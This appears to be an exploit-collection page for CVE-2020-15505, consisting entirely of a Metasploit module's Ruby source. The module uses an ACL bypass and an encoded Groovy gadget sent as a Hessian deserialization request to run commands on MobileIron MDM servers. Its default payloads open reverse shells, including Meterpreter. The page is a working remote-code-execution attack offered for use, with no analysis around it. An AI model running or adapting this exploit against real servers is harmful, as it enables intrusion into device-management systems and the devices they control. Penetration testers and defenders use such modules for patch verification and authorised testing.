# CVE-2020-15505 MobileIron MDM Hessian-Based Java 反序列化遠程代碼執行漏洞
==EXP==
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE', 'Description' => %q{ This module exploits an ACL bypass in MobileIron MDM products to execute a Groovy gadget against a Hessian-based Java deserialization endpoint. }, 'Author' => [ 'Orange Tsai', # Discovery 'rootxharsh', # Exploit 'iamnoooob', # Exploit 'wvu' # Module ], 'References' => [ ['CVE', '2020-15505'], ['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'], ['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'], ['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505'] ], 'DisclosureDate' => '2020-09-12', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python_ssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call res = send_request_hessian('c') unless res return CheckCode::Unknown('Target did not respond to check.') end unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian' return CheckCode::Safe('ACL bypass failed.') end CheckCode::Vulnerable('ACL bypass successful.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") send_request_hessian(groovy_gadget(cmd)) end def send_request_hessian(data) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mifs/.;/services/LogService'), 'ctype' => 'x-application/hessian', 'headers' => { 'Referer' => rand_text_english(8..42) }, 'data' => data ) end def groovy_gadget(cmd) # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers hessian = "c\x01\x00H\x00\x08#{rand_text_english(8)}" # Cale hates me for this hessian << Rex::Text.zlib_inflate(Rex::Text.decode_base64( <<~HESSIAN eNpFj01PwkAQhkcRBUz8CBe9cfVg+Q3YYDBKIS7h4mnbju2S3W4zuy20v95BQS6bfXffPPPM 3APMPQwzsrZugsorHUx3pSxSK+Ae/25LsiWSV+i4CgJ6uXR5aFPk+GQpCxK+57JywQFDVeGV wWCOPrdpqK2rCAVcmt8soOu8JC/gltBZXaPwJD1mzRvAnt9PFWHiVY2Hh0cjd8pUJqpMjLT4 XkqSzEJyh0IvRY0ZM9joYSNrGWhZZAGLJ+jcS6V0iiRgSPiHnhJZ4qkozauAq8Qaw4uuNcM6 nMexKsYuF3D+nLDlbBK+j1az6Wj5MYmmq/bf0FITCbjGolZkC4OF59g/DnERN7t2WyB9MvhC wMDnyi3iDX9y8aY8rrFqSnRrD3dfJ/dQS+f2QsCUTpxso7Zt95yz09EOfgCmKo1k HESSIAN )) hessian.sub("\x00\x0fHACK THE PLANET", "#{[cmd.length].pack('n')}#{cmd}") end end
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